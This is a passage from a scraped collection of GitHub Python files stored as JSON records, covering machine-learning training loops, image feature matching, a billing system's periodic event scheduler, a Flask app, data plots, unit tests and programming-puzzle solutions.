DataLoader,TensorDataset\n\n\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n#SVMマシンのモデル定義\nsvm_model = SVM_for_two_dim().to(device)\nsvm_loss_fn = torch.nn.HingeEmbeddingLoss().to(device)\nsvm_optimizer = torch.optim.SGD(svm_model.parameters(), lr=0.01)\n\n#識別学習(svm)\n\n#テンソルに変換\nvector_train = torch.stack(feature_vector_train)\nvector_val = torch.stack(feature_vector_val)\nlabel_train = torch.tensor(feature_label_train)\nlabel_val = torch.tensor(feature_label_val)\n\n# データセットを作成\nsvm_train_dataset = TensorDataset(vector_train, label_train)\nsvm_val_dataset = TensorDataset(vector_val, label_val)\n# データローダーを作成\nsvm_train_loader = DataLoader(svm_train_dataset, batch_size= 128,shuffle=True)\nsvm_val_loader = DataLoader(svm_val_dataset, batch_size= 128,shuffle=True)\n\nsvm_model.train()\nfor epoch in range(100):\n \n svm_steps_losses = []\n svm_steps_accu = []\n\n for steps, (inputs, labels) in enumerate(svm_train_loader):\n outputs = svm_model(inputs.to(device))\n svm_loss = svm_loss_fn(outputs, labels.to(device))\n svm_steps_losses.append(svm_loss.cpu().detach().numpy())\n svm_loss.backward()\n svm_optimizer.step()\n print(f'Epoch {epoch}, train loss: {np.mean(svm_steps_losses)}, ')\n\n svm_model.eval()\n with torch.no_grad():\n correct_eval = 0\n total_eval = 0\n for eval_vec, eval_labels in svm_val_loader:\n output_eval = svm_model(eval_vec.to(device))\n predicted_eval = torch.sign(output_eval).squeeze().long()\n total_eval += eval_labels.to(device).size(0)\n correct_eval += (predicted_eval == eval_labels.to(device)).sum().item()\n accuracy_eval = correct_eval / total_eval\n\n print(f'Epoch {epoch}, Accuracy on evaluation data: {accuracy_eval}')\n file3.write(\"%s , %s, %s, %s, %s, %s\\n\" % (str(epoch), \"loss\", str(np.mean(svm_steps_losses)), \"val_accuracy\", str(accuracy_eval), str(now_time)))\nfile3.close()\n","repo_name":"slp600kun/Multivariate","sub_path":"training/svm_train.py","file_name":"svm_train.py","file_ext":"py","file_size_in_byte":2101,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"22493584071","text":"import cv2\nimport numpy as np\n\n\ndef flann_match_icon_once(img1, img2, icon_name):\n # 使用SIFT算法获取图像特征的关键点和描述符\n # sift = cv2.xfeatures2d.SIFT_create()\n sift = cv2.xfeatures2d.SURT_create()\n kp1, des1 = sift.detectAndCompute(img1, None)\n kp2, des2 = sift.detectAndCompute(img2, None)\n print(des1)\n print(des2)\n\n # 定义FLANN匹配器\n indexParams = dict(algorithm=0, trees=10)\n searchParams = dict(checks=50)\n flann = cv2.FlannBasedMatcher(indexParams, searchParams)\n # 使用KNN算法实现图像匹配,并对匹配结果排序\n # matches=flann.knnMatch(des1,des2,k=2)\n matches = flann.knnMatch(np.asarray(des1, np.float32), np.asarray(des2, np.float32), k=2)\n matches = sorted(matches, key=lambda x: x[0].distance)\n print(matches)\n # print(len(matches))\n\n # 去除错误匹配,0.5是系数,系数大小不同,匹配的结果也不同\n goodMatches = []\n for m, n in matches:\n # print(m.distance)\n # print(n.distance)\n if m.distance < 0.5 * n.distance:\n goodMatches.append(m)\n print(goodMatches)\n\n # 获取某个点的坐标位置\n # index是获取匹配结果的中位数\n # index=int(len(goodMatches)/2)\n result = []\n for index in range(len(goodMatches)):\n # queryIdx是目标图像的描述符索引\n # print(kp1[goodMatches[index].queryIdx].pt)\n x, y = kp1[goodMatches[index].queryIdx].pt\n # 将坐标位置勾画在img1图片上,并显示\n cv2.rectangle(img1, (int(x), int(y)), (int(x), int(y)), (0, 255, 0), 2)\n # print(x)\n # print(y)\n result.append([int(x), int(y), icon_name])\n # cv2.imwrite('data/result/{}.jpg'.format(icon_name), img1)\n # cv2.imshow('通行设备',img1)\n # cv2.waitKey()\n return result\n\n\ndef match_icon_more(img1):\n icon_list = ['专卖店', '中国工商银行', '交通银行', '住宅区', '住宿服务', '便民商店', '停车场', '公共厕所', '公检法机构', '医疗保健服务', '医药保健销售店', '图书馆',\n '地铁站', '学校', '学校内部设施', '平安银行', '幼儿园', '政府机关', '楼宇', '科教文化服务', '科研机构', '篮球场馆', '美容美发店', '足球场', '运动场馆',\n '通行设施', '风景名胜', '餐饮服务', '餐饮服务_', '高等院校']\n x_y_type = []\n for item in icon_list:\n print(item)\n img_icon_path = 'data/icon/{}.png'.format(item)\n img_icon = cv2.imread(img_icon_path)\n xy = flann_match_icon_once(img1, img_icon, item)\n print(xy)\n x_y_type += xy\n print(x_y_type)\n\n\nif __name__ == '__main__':\n tile_path = 'data/tile/R000183B1/C00034ACE.png'\n print(tile_path)\n img1 = cv2.imread(tile_path)\n img2 = cv2.imread('data/icon/住宅区.png')\n # cv2.imshow('住宿服务', img1)\n # cv2.imshow('住宿服务1', img2)\n # cv2.waitKey()\n xy = flann_match_icon_once(img1, img2, '住宅区')\n print(xy)\n # match_icon_more(img1)\n","repo_name":"Wardell-Stephen-CurryII/gis","sub_path":"icon/icon01.py","file_name":"icon01.py","file_ext":"py","file_size_in_byte":3066,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"24863915062","text":"class obj:\n\tdef __init__(self):\n\t\tself.obj = input(\"Please, enter any item: \")\n\t\tself.f_n = input(\"Enter functions number: \")\n\n\tdef obj_int(self):\n\t\tnumber = int(self.obj)\n\t\tif (number ** 0.5) == int(number ** 0.5):\n\t\t\treturn number ** 0.5\n\t\telse: \n\t\t\treturn \"Error sqrt this number\"\n\n\tdef obj_str(self):\n\t\tif len(self.obj) > 2:\n\t\t\treturn self.obj[-2:]\n\t\telse:\n\t\t\treturn \"String len less then 2\"\n\tdef check(self):\n\t\ttry: \n\t\t\tint(self.obj)\n\t\t\tif self.f_n == \"1\":\n\t\t\t\tprint(obj.obj_int(self))\n\t\t\telse:\n\t\t\t\tprint(f\"The {self.obj} isn't string\")\n\t\texcept ValueError:\n\t\t\tif self.f_n == \"2\":\n \t \tprint(obj.obj_str(self))\n\t\t\telse:\n\t\t\t\tprint(f\"The {self.obj} isn't integer\")\n\ndef main():\n\tmember = obj()\n\tif member.f_n == \"1\" or member.f_n == \"2\":\n\t\tmember.check()\n\telse:\n\t\tprint(\"Invalid function number\")\n\nif __name__ == \"__main__\":\n\tmain() \n","repo_name":"AgnessaAvetyan/Python","sub_path":"class1.py","file_name":"class1.py","file_ext":"py","file_size_in_byte":854,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"42584879343","text":"import threading\nfrom core.threadpool import thread_main\nfrom core.event import event\nfrom core.ibs_exceptions import *\nfrom core import main\n\ndef init():\n global pe_manager\n pe_manager=PeriodicEventsManager()\n main.registerPostInitMethod(postInit)\n\ndef postInit():\n getManager().postInit()\n \ndef getManager():\n return pe_manager\n\n\nclass PeriodicEvent:\n def __init__(self,name,interval,args,run_at_startup,priority=0):\n \"\"\"\n name(str): name string used for debugins\n interval(int): interval seconds to run event\n args(list): list of arguments\n run_at_startup(int): if this flag is set, this event is run at ibs startup and next\n run will be \"interval\" seconds.\n if this flag isn't set, first function run will be in \"interval\"\n seconds, and it doesn't run on startup\n if run_at_startup is 1, self.run will run on a new thread\n if run_at_startup is 2, self.run will run on main thread, and ibs won't\n completely start until it finishes\n priority(int): priotiry of event in event schedueler\n \n \"\"\"\n self.name = name\n self.interval = interval\n self.args = args\n self.run_at_startup = run_at_startup\n self.priority = priority\n\n\n def run_startup(self,*args):\n \"\"\"\n if self.run_at_startup flag is set, this method will be called at ibs startup\n the default is call self.run method with arguments, but it may have diffrent\n implemention. Children may override this method too\n \"\"\"\n apply(self.run,args)\n\n def run(self,*args):\n \"\"\"\n run this event, children must override this method and implement the job\n this event should do. run method calls periodicly in interval self.interval\n if self.run_at_startup flag is set, run_startup method is called at ibs start, and\n run method will be called periodicly after it.\n \"\"\"\n pass\n \n\nclass PeriodicEventsManager:\n debug=False\n def __init__(self):\n self.events=[]\n self.__initialized=False\n self.lock=threading.Lock()\n\n def register(self,periodic_event):\n \"\"\"\n register \"periodic_event\" to run periodicly\n periodic_event(PeriodicEvent instance): Periodic event to run \n \"\"\"\n if not isinstance(periodic_event,PeriodicEvent):\n raise IBSException(\"PeriodicEventManager.register needs an PeriodicEvent Instance\")\n self.lock.acquire()\n try:\n self.events.append(periodic_event)\n if self.__initialized:\n self.__setNextEvent(len(self.events)-1)\n finally:\n self.lock.release()\n\n ##########################\n def unRegister(self,periodic_event):\n try:\n idx=self.events.index(periodic_event)\n self.events[idx]=None\n except ValueError:\n logException(LOG_ERROR,\"periodicEvents.unRegister Invalid periodic_event %s\"%periodic_event)\n \n ##########################\n def postInit(self):\n \"\"\"\n this function will be called, after initialization of all other modules\n \"\"\"\n self.__setStartupEvents()\n self.__initialized=True\n\n ########################## \n def runEvent(self,_index,*args):\n try:\n ev=self.events[_index]\n if ev==None:\n return\n except:\n logException(LOG_ERROR,\"periodicEvents.runEvent Invalid index %s\"%_index)\n else:\n try:\n apply(ev.run,args)\n except:\n logException(LOG_ERROR,\"periodicEvents.runEvent exception for method: %s args: %s\"%\n (ev.name,ev.args))\n self.__setNextEvent(_index)\n\n def __setStartupEvents(self):\n for _index in range(len(self.events)):\n ev=self.events[_index]\n\n if self.debug:\n toLog(\"Startup PeriodicEvent: Running %s run_at_start_up %s args %s\"%(ev.name,ev.run_at_startup,ev.args),LOG_DEBUG)\n\n if ev.run_at_startup==1:\n thread_main.runThread(ev.run,ev.args,\"event\")\n elif ev.run_at_startup==2:\n apply(ev.run,ev.args)\n \n self.__setNextEvent(_index)\n\n\n def __setNextEvent(self,_index):\n ev=self.events[_index]\n\n #check if ev has been deleted\n if ev != None:\n event.addEvent(ev.interval,self.runEvent,[_index]+ev.args, ev.priority)\n\n ","repo_name":"pouyadarabi/IBSng","sub_path":"core/event/periodic_events.py","file_name":"periodic_events.py","file_ext":"py","file_size_in_byte":4786,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"18"} +{"seq_id":"18653700534","text":"import torch\nfrom torch.nn.modules import Module\nfrom ti_torch import StoShift, Int8Tensor\n\nclass TiLoss(Module):\n def forward(self, out_val, out_exp, target):\n err_out_exp=0\n # integer cross entropy loss\n s=out_val.type(torch.int64)\n if out_exp >-7:\n # if out_exp is big enough\n # change the base in log softmax from e to 2\n # to approx integer loss\n s=s*47274/(2**15)\n if out_exp>=0:\n s=s*2**out_exp\n else:\n s=s/(2**-out_exp)\n\n out_max, _ = torch.max(s,dim=1)\n offset = out_max-10\n s=s-offset.view(-1,1)\n s=torch.max(s,Int8Tensor(0).type(torch.int64))\n out_grad = 2**s-1\n else:\n # if out_exp is too small s will be all 0\n # use another apporximation 1+e^x = 1 + x + 0.5 x^2 + o(x^2)\n out_grad = 2**(1-2*out_exp.type(torch.int64)) + \\\n s*2**(1-out_exp.type(torch.int64)) + s*s\n\n out_sum = out_grad.sum(1,dtype=torch.int64)\n\n out_grad = out_grad*(2**11)/out_sum.view(-1,1)\n out_grad[torch.arange(out_val.size(0)), target] -= out_grad.sum(1,dtype=torch.int64)\n self.out_grad = StoShift(out_grad.type(torch.int32),4)\n\n return self.out_grad, err_out_exp","repo_name":"wangmaolin/niti","sub_path":"ti_loss.py","file_name":"ti_loss.py","file_ext":"py","file_size_in_byte":1322,"program_lang":"python","lang":"en","doc_type":"code","stars":58,"dataset":"github-code","pt":"18"} +{"seq_id":"27647403493","text":"import os\nimport sys\nfrom flask import Flask \n\ndef create_app(test_config=None):\n app = Flask(__name__, instance_relative_config=True)\n\n if ( test_config is None ):\n if ( 'secret_key' not in os.environ ):\n print('[!] SECRET KEY IS NOT SET.')\n sys.exit(1)\n \n secret_key = os.environ['secret_key']\n app.config.from_pyfile('config.py', silent=True)\n app.config.from_mapping(SECRET_KEY=secret_key)\n\n else:\n app.config.from_mapping(test_config)\n\n\n try:\n os.makedirs(app.instance_path)\n\n except OSError:\n pass\n\n from . import calcaddr\n app.register_blueprint(calcaddr.bp)\n\n @app.route('/test')\n def test():\n return \"OK\"\n\n return app \n","repo_name":"chouett0/calc-netaddr","sub_path":"webapp/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"40704084970","text":"# __author: Administrator\n# __date: 2019/7/17/017\nimport pandas as pd\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\ndf = pd.read_csv(\"./IMDB-Movie-Data.csv\")\n\ngenre_ = df[\"Genre\"].str.split(\",\").tolist()\n# title = list(set(df[\"Title\"]))\n# print(len(title))\n# print(len(list(set(title))))\n# print(df.shape[0])\ngenre_list = list(set([i for j in genre_ for i in j]))\ndf_zero = pd.DataFrame(np.zeros((df.shape[0], len(genre_list))), columns=genre_list, dtype=int)\n# print(df_zero)\nfor i in range(df.shape[0]):\n df_zero.loc[i, genre_[i]] = 1\n\nprint(df_zero)\n\nzero_sum = df_zero.sum(axis=0).sort_values()\n# print(zero_sum)\nx = zero_sum.index\ny = zero_sum.values\nplt.bar(x, y)\nplt.xticks(rotation=270)\nplt.show()\n","repo_name":"VonsName/secondPy","sub_path":"pandasstu/p4.py","file_name":"p4.py","file_ext":"py","file_size_in_byte":722,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"24716010958","text":"from sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\nfrom sqlalchemy.ext.declarative import declarative_base\n\n# specifying the data type and the data file name in the url\nSQL_DATABASE_URL = \"sqlite:///./data.db\"\n\n# creating engine for the database to use it\nengine = create_engine(SQL_DATABASE_URL, connect_args={\"check_same_thread\":False})\n\n# creating a Session for the database whenever the database is required\nSessionLocal = sessionmaker(bind=engine, autocommit=False, autoflush=False)\n\n# creating base for the models to be set in databse\nBase = declarative_base()\n\n# function to run the session and close it whenever the changes is done\ndef getData():\n db = SessionLocal()\n try:\n yield db\n finally:\n db.close()","repo_name":"praduman03/WoollyTech_Task","sub_path":"backend/app/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":763,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"32375689024","text":"class Solution:\n def productExceptSelf(self, nums: List[int]) -> List[int]:\n \n result = [1] * len(nums)\n\n pre = 1\n post = 1\n\n # first run through\n for i, v in enumerate(nums):\n result[i] = pre\n pre = pre * v\n\n # second run through (backwards)\n for i in range(len(nums)-1,-1,-1):\n result[i] = result[i] * post\n post = post * nums[i]\n\n return result\n\n\n '''\n need a pre and post\n\n first run through, need to calc result going left -> right\n second run throught, calc result going right -> left\n\n work within one list result\n '''\n","repo_name":"thormander/leetcode-practice","sub_path":"Product of Array Except Self.py","file_name":"Product of Array Except Self.py","file_ext":"py","file_size_in_byte":678,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"73944569640","text":"\"\"\"An example of showing geographic data.\"\"\"\r\n\r\nimport streamlit as st\r\nimport pandas as pd\r\nimport numpy as np\r\nimport altair as alt\r\nimport pydeck as pdk\r\n\r\nDATE_TIME = \"date/time\"\r\nDATA_URL = (\r\n \"http://s3-us-west-2.amazonaws.com/streamlit-demo-data/uber-raw-data-sep14.csv.gz\"\r\n)\r\n\r\nst.title(\"Uber Pickups in New York City\")\r\nst.write(\"AHMED\")\r\nst.markdown(\r\n\"\"\"\r\nThis is a demo of a WEB app that shows the Uber pickups\r\ngeographical distribution in New York City. Use the slider\r\nto pick a specific hour and look at how the charts change.\r\n[See source code](https://github.com/streamlit/demo-uber-nyc-pickups/blob/master/app.py)\r\n\"\"\")\r\n\r\n@st.cache(persist=True)\r\ndef load_data(nrows):\r\n data = pd.read_csv(DATA_URL, nrows=nrows)\r\n lowercase = lambda x: str(x).lower()\r\n data.rename(lowercase, axis=\"columns\", inplace=True)\r\n data[DATE_TIME] = pd.to_datetime(data[DATE_TIME])\r\n return data\r\n\r\n\r\ndata = load_data(100000)\r\nhour = st.slider('hour', 0, 23, 11)\r\ndata = data[data[DATE_TIME].dt.hour == hour]\r\nindex = data.index\r\nnumberrows = len(index)\r\nst.write(numberrows)\r\n#'# Raw data at 11:00AM', data\r\n#'# Geo Data', data\r\nst.map(data)","repo_name":"AhmedJouda2000/Marathon-App","sub_path":"Streamlit/trial.py","file_name":"trial.py","file_ext":"py","file_size_in_byte":1159,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"24003216","text":"\"\"\"\nhttps://open.kattis.com/problems/touchscreenkeyboard\nAuthor: https://github.com/smh997/\n\"\"\"\ndist = {}\nli = ['qwertyuiop', 'asdfghjkl', 'zxcvbnm']\nfor i in range(3):\n for j in range(len(li[i])):\n for k in range(3):\n for l in range(len(li[k])):\n dist[(li[i][j], li[k][l])] = abs(i-k) + abs(l-j)\nt = int(input())\nfor _ in range(t):\n s, n = map(str, input().split())\n n = int(n)\n li = []\n for i in range(n):\n ss = input()\n res = 0\n for kk in range(len(s)):\n res += dist[(s[kk], ss[kk])]\n li.append((res, ss))\n li.sort()\n for a in li:\n print(a[1], a[0])\n","repo_name":"smh997/Problem-Solving","sub_path":"Online Judges/Kattis/touchscreenkeyboard.py","file_name":"touchscreenkeyboard.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"25217144422","text":"# https://leetcode.com/problems/shift-2d-grid/\n# tags: #array, #matrix, #simulation\n#\n# Solution 1: Resolve Index\n# Since shifting right will put the last k cells in grid on the first k cells\n# We can get the proper new number into the grid getting the corresponding cell based on k\n# Time complexity: O(m*n), Space complexity O(m*n)\n#\n# Solution 1: Reverse\n# * Reverse all elements\n# * Then, first k elements, be careful with the index\n# * Finally, Reverse last m * n - k elements\n# Time complexity: O(m*n), Space complexity O(1)\nfrom typing import List\n\n\nclass Solution:\n def shiftGrid(self, grid: List[List[int]], k: int) -> List[List[int]]:\n rows, cols = len(grid), len(grid[0])\n res = [[0] * cols for _ in range(rows)]\n\n for i in range(rows):\n for j in range(cols):\n index = i * cols + j + k\n res[index // cols % rows][index % cols] = grid[i][j]\n\n return res\n\n def shiftGrid_reverse(self, grid: List[List[int]], k: int) -> List[List[int]]:\n def reverse(left, right, col):\n while left < right:\n grid[left // col][left % col], grid[right // col][right % col] = \\\n grid[right // col][right % col], grid[left // col][left % col]\n left, right = left + 1, right - 1\n\n rows, cols = len(grid), len(grid[0])\n length = rows * cols\n k %= length\n\n reverse(0, length - 1, cols)\n reverse(0, k - 1, cols)\n reverse(k, length - 1, cols)\n\n return grid\n\n\nif __name__ == \"__main__\":\n sol = Solution()\n print(sol.shiftGrid_reverse(grid=[[1, 2, 3], [4, 5, 6], [7, 8, 9]], k=1)) # [[9,1,2],[3,4,5],[6,7,8]]\n","repo_name":"ronelzb/leetcode","sub_path":"matrix/1260_shift_2d_grid.py","file_name":"1260_shift_2d_grid.py","file_ext":"py","file_size_in_byte":1687,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"22277498966","text":"T = int(input())\nfor _ in range(T): # 테스트 케이스\n col = int(input())\n array = [list(map(int,input().split())), list(map(int,input().split()))]\n score = []\n score.append([0,0,0]) # 초기값\n for i in range(col):\n score_i = [0,0,0] # 한 열에 대해 각각 위쪽 스티커, 아래쪽 스티커, 선택 안함에 대응하는 최대점수\n upper, lower = array[0][i], array[1][i]\n score_i[0] = upper + max(score[i][1],score[i][2]) # upper 선택 > 이전단계의 lower, nothing 중 최댓값에 더함\n score_i[1] = lower + max(score[i][0],score[i][2])\n score_i[2] = max(score[i])\n score.append(score_i)\n print(max(score.pop()))","repo_name":"cheon4050/CodingTest-Study","sub_path":"11주차/9465/kse_9465.py","file_name":"kse_9465.py","file_ext":"py","file_size_in_byte":699,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"12171265736","text":"\"\"\"\nTest for util.py\n\"\"\"\nimport unittest\nfrom unittest.mock import MagicMock, patch\nimport numpy as np\nimport pandas as pd\nfrom matplotlib.testing.compare import compare_images\nfrom matplotlib import pyplot as plt\nimport torch\nimport getpass\nimport sys\nsys.path.insert(0, f'/home/{getpass.getuser()}/dowgan/dowgan')\nimport util\n\nclass TestPlotSequences(unittest.TestCase):\n def setUp(self):\n self.embedding_network = MagicMock()\n self.recovery_network = MagicMock()\n\n self.embedding_network.return_value = torch.randn(1, 100)\n self.recovery_network.return_value = torch.randn(1, 100)\n \n self.df = pd.DataFrame(data=torch.randn(100).numpy())\n\n @patch('matplotlib.pyplot.show')\n def test_plot_sequences(self, mock_show):\n \"\"\"\n Test verifies whether the `plot_sequences` function calls the `show` method of `matplotlib.pyplot`\n to attempt showing the plot.\n\n The test case creates a DataFrame (`df`) from randomly generated data and calls the `plot_sequences`\n function with the DataFrame, embedding_network, and recovery_network. It then asserts that the `show`\n method of `matplotlib.pyplot` was called exactly once.\n \"\"\"\n util.plot_sequences(self.df, self.embedding_network, self.recovery_network)\n \n # Check that plot was attempted to be shown\n mock_show.assert_called_once()\n\n\nclass TestAugmentTimeseriesSequences(unittest.TestCase):\n def setUp(self):\n self.generator = MagicMock()\n self.recovery_network = MagicMock()\n self.embedding_network = MagicMock()\n\n self.num_samples = 10\n self.seq_length = 20\n\n # Create mock tensors to be returned by generator, recovery_network and embedding_network\n mock_gen_output = torch.randn(self.num_samples, self.seq_length)\n mock_recovery_output = torch.randn(self.num_samples, self.seq_length)\n mock_embedding_output = torch.randn(1, self.seq_length, self.num_samples) # Adjust the shape according to your needs\n\n self.generator.return_value = mock_gen_output\n self.recovery_network.return_value = mock_recovery_output\n self.embedding_network.return_value = mock_embedding_output\n\n self.test_data = pd.DataFrame(data=np.random.rand(100, 20))\n\n def test_augment_timeseries_sequences(self):\n \"\"\"\n Test verifies the shape of the output and checks whether the `generate_sequences` function is\n called the expected number of times.\n\n The test case creates a DataFrame (`test_data`) from randomly generated data and calls the\n `augment_timeseries_sequences` function with the generator, recovery_network, embedding_network,\n test_data, num_samples, and seq_length. It then asserts the shape of the result and checks that\n the `generate_sequences` function was called the expected number of times.\n \"\"\"\n with patch('util.generate_sequences') as mock_generate_sequences:\n mock_generate_sequences.return_value = np.random.rand(self.seq_length, self.num_samples)\n result = util.augment_timeseries_sequences(self.generator, self.recovery_network, self.embedding_network, self.test_data, self.num_samples, self.seq_length)\n\n # Verify the shape of the output\n self.assertEqual(result.shape, (100, self.num_samples))\n\n # Verify that the generate_sequences was called the expected number of times\n self.assertEqual(mock_generate_sequences.call_count, len(self.test_data) // self.seq_length)\n\n\nclass TestGenerateTimeseriesSequences(unittest.TestCase):\n def setUp(self):\n self.generator = MagicMock()\n self.recovery_network = MagicMock()\n self.embedding_network = MagicMock()\n\n self.seq_length = 50\n self.num_samples = 8\n\n self.test_data = pd.DataFrame(data=np.random.rand(400, 10))\n self.test_data_tensor = torch.from_numpy(self.test_data.values).unsqueeze(0).float()\n\n self.condition = torch.randn(1, 10)\n \n self.mock_gen_output = torch.randn(self.num_samples, self.seq_length, 10)\n self.generator.return_value = self.mock_gen_output\n self.recovery_network.return_value = self.mock_gen_output\n self.embedding_network.return_value = self.condition.unsqueeze(0)\n\n def test_generate_timeseries_sequences(self):\n \"\"\"\n Test verifies the shape of the output and checks whether the `generator`, `recovery_network`,\n and `embedding_network` functions are called.\n\n The test case creates a DataFrame (`test_data`) from randomly generated data and calls the\n `generate_timeseries_sequences` function with the generator, recovery_network, embedding_network,\n test_data, num_samples, and seq_length. It then asserts the shape of the result and checks that\n the `generator`, `recovery_network`, and `embedding_network` functions were called.\n \"\"\"\n result = util.generate_timeseries_sequences(\n self.generator, self.recovery_network, self.embedding_network, self.test_data, self.num_samples, self.seq_length)\n \n self.assertEqual(result.shape, (self.num_samples * self.seq_length, 10))\n self.generator.assert_called()\n self.recovery_network.assert_called()\n self.embedding_network.assert_called()\n\nclass TestGenerateSequences(unittest.TestCase):\n def setUp(self):\n self.generator = MagicMock()\n self.recovery_network = MagicMock()\n\n self.seq_length = 50\n self.num_samples = 8\n\n self.condition = torch.randn(1, 10)\n \n self.mock_gen_output = torch.randn(self.num_samples, self.seq_length, 8)\n self.generator.return_value = self.mock_gen_output\n self.recovery_network.return_value = self.mock_gen_output\n\n def test_generate_sequences(self):\n \"\"\"\n Test verifies the shape of the output and checks whether the `generator`, `recovery_network`,\n and `embedding_network` functions are called.\n\n The test case creates a DataFrame (`test_data`) from randomly generated data and calls the\n `generate_timeseries_sequences` function with the generator, recovery_network, embedding_network,\n test_data, num_samples, and seq_length. It then asserts the shape of the result and checks that\n the `generator`, `recovery_network`, and `embedding_network` functions were called.\n \"\"\"\n result = util.generate_sequences(\n self.generator, self.recovery_network, self.num_samples, self.seq_length, self.condition)\n \n self.assertEqual(result.shape, (self.seq_length, self.num_samples))\n self.generator.assert_called()\n self.recovery_network.assert_called()\n\ndf = pd.DataFrame(np.random.randint(0,100,size=(10, 3)), columns=list('ABC'))\ndf_empty = pd.DataFrame()\nclass TestDetermineComponents(unittest.TestCase):\n \"\"\"\n Unit test for the function determine_components\n \"\"\"\n def test_smoke(self):\n \"\"\"\n Simple smoke test to make sure function runs.\n \"\"\"\n util.determine_components(df)\n def test_value(self):\n \"\"\"\n Test for value error, when dataframe is empty\n \"\"\"\n with self.assertRaises(ValueError):\n util.determine_components(df_empty)\n def test_name(self):\n \"\"\"\n Test for name error, when dataframe isn't defined\n \"\"\"\n with self.assertRaises(NameError):\n util.determine_components(test)\n\n\nlosses = [0.7081860899925232, 0.7069265842437744, 0.6873602271080017]\nls = {'a':[1, 2, 3]}\nclass TestPlotLosses(unittest.TestCase):\n \"\"\"\n Unit test for the function plot_losses\n \"\"\"\n def test_smoke(self):\n \"\"\"\n Simple smoke test to make sure function runs.\n \"\"\"\n util.plot_losses(losses)\n def test_type(self):\n \"\"\"\n Test for type error, when wrong type of data\n \"\"\"\n with self.assertRaises(TypeError):\n util.plot_losses(ls)\n def test_name(self):\n \"\"\"\n Test for name error, when data isn't defined\n \"\"\"\n with self.assertRaises(NameError):\n util.plot_losses(test)\n \ngen_losses = torch.tensor(losses)\ndis_losses = torch.tensor(losses)\nrec_losses = torch.tensor(losses)\nclass TestPlotMultipleLosses(unittest.TestCase):\n \"\"\"\n Unit test for the function plot_multiple_losses\n \"\"\"\n def test_smoke(self):\n \"\"\"\n Simple smoke test to make sure function runs.\n \"\"\"\n util.plot_multiple_losses([gen_losses,dis_losses,rec_losses],\n ['Generator Loss', 'Discriminator Loss', 'Recovery Loss'])\n def test_attribute(self):\n \"\"\"\n Test for attribute error, when data isn't a tensor doens't have attribute 'detach'\n \"\"\"\n with self.assertRaises(AttributeError):\n util.plot_multiple_losses([losses,dis_losses,rec_losses],\n ['Generator Loss', 'Discriminator Loss', 'Recovery Loss'])\n def test_name(self):\n \"\"\"\n Test for name error, when data isn't defined\n \"\"\"\n with self.assertRaises(NameError):\n util.plot_multiple_losses([test,dis_losses,rec_losses],\n ['Generator Loss', 'Discriminator Loss', 'Recovery Loss'])\n\narray1 = np.random.rand(1,100)\narray2 = np.random.rand(1,100)\narray3 = np.random.rand(1,20)\nname = ['x1', 'x2']\nclass TestPlotFeatures(unittest.TestCase):\n \"\"\"\n Unit test for the function plot_features\n \"\"\"\n def test_smoke(self):\n \"\"\"\n Simple smoke test to make sure function runs.\n \"\"\"\n util.plot_features(array1, array2, name, 2)\n def test_index(self):\n \"\"\"\n Test for index error, when list index out of range\n \"\"\"\n with self.assertRaises(IndexError):\n util.plot_features(array1, array2, name, 3)\n def test_name(self):\n \"\"\"\n Test for name error, when data isn't defined\n \"\"\"\n with self.assertRaises(NameError):\n util.plot_features(test, array2, name, 2)\n\narray4 = np.random.rand(5,100)\narray5 = np.random.rand(5,100)\nclass TestPlotPca(unittest.TestCase):\n \"\"\"\n Unit test for the function plot_pca\n \"\"\"\n def test_smoke(self):\n \"\"\"\n Simple smoke test to make sure function runs.\n \"\"\"\n util.plot_pca(array4, array5)\n def test_value(self):\n \"\"\"\n Test for value error, when number of components doesn't fulfill solver\n \"\"\"\n with self.assertRaises(ValueError):\n util.plot_pca(array1, array5)\n def test_name(self):\n \"\"\"\n Test for name error, when data isn't defined\n \"\"\"\n with self.assertRaises(NameError):\n util.plot_pca(test, array5)\n \nclass TestPlotTsne(unittest.TestCase):\n \"\"\"\n Unit test for the function plot_tsne\n \"\"\"\n def test_smoke(self):\n \"\"\"\n Simple smoke test to make sure function runs.\n \"\"\"\n try:\n util.plot_tsne(array1, array2)\n except ValueError as e:\n self.assertTrue(str(e) == 'perplexity must be less than n_samples')\n def test_value(self):\n \"\"\"\n Test for value error, when input array dimensions doesn't match\n \"\"\"\n with self.assertRaises(ValueError):\n util.plot_tsne(array1, array3)\n def test_name(self):\n \"\"\"\n Test for name error, when data isn't defined\n \"\"\"\n with self.assertRaises(NameError):\n util.plot_tsne(test, array3)\n \nif __name__ == '__main__':\n unittest.main()\n \n","repo_name":"Dow-GAN/dowgan","sub_path":"dowgan/test/test_util.py","file_name":"test_util.py","file_ext":"py","file_size_in_byte":11707,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"22637022939","text":"from itertools import combinations\r\nN, M = map(int,input().split())\r\ncity = []\r\nhome, chicken = [], []\r\nfor n in range(N) :\r\n line = list(map(int,input().split()))\r\n city.append(line)\r\nfor r in range(N) :\r\n for c in range(N) :\r\n if city[r][c] == 1 :\r\n 